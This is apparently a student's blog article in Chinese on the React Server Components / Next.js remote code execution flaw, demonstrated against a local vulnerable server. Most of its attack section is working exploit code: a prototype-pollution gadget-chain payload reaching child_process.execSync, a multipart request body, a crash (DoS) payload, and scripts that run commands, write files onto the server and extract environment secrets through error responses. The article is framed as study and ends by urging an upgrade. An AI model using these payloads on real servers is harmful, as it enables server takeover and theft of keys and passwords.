住在北海道的信息系學生斉藤賢悟。
此次我想透過實際攻擊來總結最近受到關注的React Server Components的漏洞。
在一個有漏洞的Next.js版本上架設Web伺服器,並在本地環境進行驗證。
本次介紹的內容僅為安全學習之目的。
在未經許可的系統上執行或攻擊,均屬非法,切勿濫用。
這是一個關於React Server Components(RSC)中的無身份驗證的遠端代碼執行(RCE)漏洞。
換句話說,攻擊者可以通過發送特製的請求,在伺服器上執行任意代碼。
這種攻擊是「無身份驗證・無特別權限・無用戶操作」即可實現的,十分嚴重。
CVSS分數為10.0,是最高分數。
官方網站:
使用Pages Router或未使用RSC的配置不會受到此漏洞影響。
升級到已打補丁的版本
這次漏洞的原因在於RSC中使用的Flight協議的反序列化(恢復)處理存在漏洞。
在RSC內部,伺服器會對特別形式的JSON類型數據進行反序列化和處理。
本來是基於React生成的安全數據,但實際上,外部製作的請求也能被反序列化,這是個缺陷。
具體來說,攻擊者發送的JSON負載中包含的__proto__和then等屬性在伺服器的反序列化過程中被錯誤解釋。
因此,意外的構建了所謂的「裝置鏈」,最終導致像child_process.execSync這樣的危險函數被呼叫。
此次利用漏洞的攻擊不是通過正常請求處理發生的,而是在反序列化(數據恢復)過程中成立的。
此次的請求主要由兩個結構組成。
攻擊的整體流程
participant Attacker as 攻擊者
participant Server as Next.js 伺服器
participant Deserializer as 反序列化處理
Attacker->>Server: 1. 發送請求 (Multipart)
Note right of Attacker: 包含「JSON」和「參考」
Server->>Server: 2. 確認Next-Action ID
Server->>Deserializer: 3. 開始恢復參數數據
Deserializer->>Deserializer: 4. 解析JSON
Note right of Deserializer: 因原型污染<br>處理流程被扭曲
Deserializer->>Server: 5. 執行意外函數(execSync)
Server-->>Attacker: 6. 包含執行結果的錯誤回應
一個精巧的裝置鏈,旨在騙取伺服器。本來不應連接的內部處理被強行連結,最終引導至「命令執行」。
裝置鏈 / Gadget Chain
「裝置」是指伺服器內本來存在的正常代碼片段。
當Payload破壞數據的完整性時,本來不應該連接的正常代碼(裝置)依攻擊者意圖相繼連鎖執行,這被稱為「裝置鏈」。
const payloadJson = JSON.stringify({
// 原型污染
// 操作對象的基礎(__proto__),準備改寫伺服器行為
then: "$1:__proto__:then",
// 非同步處理劫持
// 誘導React側以「解決的Promise」進行處理
status: "resolved_model",
_response: {
// 要執行的命令
// 最終將作為execSync的引數傳遞的字符串
_prefix: `process.mainModule.require('child_process').execSync('${COMMAND}');`,
_formData: {
// 函數替換
// 在內部處理時,誘導獲取到 'constructor'(函數生成機能)
get: "$1:constructor:constructor",
},
},
});
Next.js的Server Actions擁有一個參考(Reference)的機制,以高效地發送多個數據。
此次攻擊將利用這一機制。
const body = [
// 爆炸彈本體
`--${BOUNDARY}`,
'Content-Disposition: form-data; name="0"',
"",
payloadJson, // 將先前的JSON放在此處
// 引爆開關
`--${BOUNDARY}`,
'Content-Disposition: form-data; name="1"',
"",
'"$@0"', // 重要
// 指示Flight協議對0號數據進行引用擴展
`--${BOUNDARY}--`,
"",
].join("\r\n");
在name="1"中,指示伺服器「使用0號數據進行處理」。這樣伺服器就強制讀取了惡意的JSON。
參考 / Reference
數據的實體放在另一個地方,必要時指向並調用的機制。
在這次攻擊中,即請求內含的"$@0"字符串。 Next.js的通訊協議(Flight)具備從其他位置參考發送數據的功能。攻擊者利用這一點,發出指令,「讀取並展開在ID:0的JSON Payload」。
接下來總結實際進行的驗證。
此次驗證所用的倉庫。
將以此倉庫為參考進行解說。
首先在有漏洞的版本(Next.js 16.0.1)上架設Web伺服器。
此外準備了攻擊用腳本的執行環境。
在Web伺服器的首頁上實作如下ServerActions:
為了獲取被呼叫時能取得的ID,testAction()內不需特別處理。
export default function Home() {
async function testAction(arg: any) {
"use server";
// 省略
}
return (
<div>
<main>Web伺服器</main>
<form action={testAction}>
<button>提交</button>
</form>
</div>
);
}
已獲得從外部呼叫Server Actions所需的認證ID。
接下來將對自己架設的本地伺服器進行實際攻擊。
首先確認伺服器是否脆弱(是否因外部的不正輸入而崩潰)。
const payloadArray = Array(200).fill("$F");
const body = JSON.stringify(payloadArray);
try {
const res = await axios.post("http://localhost:3000", body, {
headers: {
"Content-Type": "text/plain",
"Next-Action": "", // 輸入之前獲得的ID
},
});
}
執行內容:
bun run send結果:
伺服器進程崩潰(500錯誤 / 連接關閉)
證明的事實:
存在DoS(服務拒絕)漏洞,服務可以被強制停止。
檢查伺服器內部是否能執行OS命令
啟動計算器
// 省略
// const COMMAND = "calc"; // Windows的情況
const COMMAND = "open -a Calculator"; // macOS的情況
const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const payloadJson = // 省略
const body = // 省略
try {
const res = await fetch(TARGET_URL, {
method: "POST",
headers: {
Host: "localhost:3000",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": NEXT_ACTION_ID,
"Content-Type": `multipart/form-data; boundary=${BOUNDARY}`,
},
body: body,
});
// 省略
}
calculator();
執行內容:
執行bun run calculator
建立裝置鏈,透過Node.js的child_process.execSync注入OS命令
結果:
在Windows/Mac環境中啟動計算器
證明的事實:
存在RCE漏洞,攻擊者可奪取伺服器控制權。
驗證了不依賴於OS或Shell的差異(如引號問題)下,更為可靠的攻擊方法。
僅需更改先前請求的COMMAND部分即可執行。
// web伺服器側生成檔案
const DATA = "This file was generated by the attacker server.";
const COMMAND = `echo "${DATA}" > public/test.txt`;
執行內容:
執行bun run writeFile。
發送payload以呼叫echo(命令)Shell命令
結果:
在public目錄下生成test.txt。
證明的事實:
可透過OS命令注入生成檔案(存在設置後門的風險)。
檢查是否能將伺服器內的機密信息外洩。
透過錯誤為基的資訊竊取值。
* 不必要的代碼已省略。
// 省略
const JS_PAYLOAD = `
const env = JSON.stringify(process.env, null, 2);
throw new Error('/// DATA START /// ' + env + ' /// DATA END ///');
`;
// 將換行替換為空格並放成一行
const minifiedPayload = JS_PAYLOAD.replace(/\n/g, " ");
const TARGET_URL = "http://localhost:3000";
const BOUNDARY = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const payloadJson = // 省略
const body = // 省略
// 省略
try {
const res = // 省略
if (res.status === 500) {
// 尋找嵌入的標記
const match = text.match(/DATA START \/\/\//s);
if (match && match[1]) {
console.log("\n【成功】環境變數被竊取:\n");
try {
const envJson = JSON.parse(match[1].replace(/\\n/g, "\\n"));
console.log(envJson);
} catch {
console.log(match[1]);
}
} else {
console.log("[-] 未找到數據提取標記。顯示整體響應:");
console.log(text.substring(0, 1000));
}
} else {
console.log(`[*] 回應: ${text.substring(0, 500)}`);
}
} catch (err: any) {
console.error(`[!] 錯誤: ${err.message}`);
}
代碼內的處理流程如下:
const env = JSON.stringify(process.env ...) 首先,私下讀取伺服器內部的環境變數throw new Error('/// DATA START /// ' + env + ...) 將獲取的數據作為錯誤信息的一部分進行嵌入,強制引發例外錯誤執行內容:
執行bun run readenv。
發送 payload,從 process.env(環境變數)中獲取內容,然後將其拋出作為錯誤信息。
結果:
HTTP回應(500錯誤)中包含伺服器的環境變數(API密鑰或版本信息等)。
證明的事實:
有可能竊取AWS密鑰或DB密碼等機密信息。
通常,像if (!user.isAdmin) return;這樣的代碼或者通過Middleware進行的身份驗證檢查來確保安全。
但是,這次的攻擊成立於這些代碼執行之前(框架接收請求並恢復數據的階段)。
也就是說,無論你寫多麼堅固的身份驗證邏輯,只要使用具有這一漏洞的版本,都難以阻擋攻擊。
開發者通常不會意識到Next.js的Server Actions是如何反序列化數據的。
這次攻擊正好利用了這一黑箱內部處理(Flight協議)的漏洞,偽裝成合法通訊執行不當命令。
如驗證結果所示,若攻擊成功將奪取伺服器的全權(RCE),可以自由進行信息的竊取與篡改。
若將payload複雜化(混淆),WAF等檢測可能會被繞過。
唯一也是最重要的對策就是升級到修正根本原因的版本。
建議立即升級,以免被轉變為挖掘伺服器等更大損失。
本文簡單驗證了RSC漏洞的惡意攻擊在本地的過程。
由於仍在學習中,如有不妥之處敬請指正。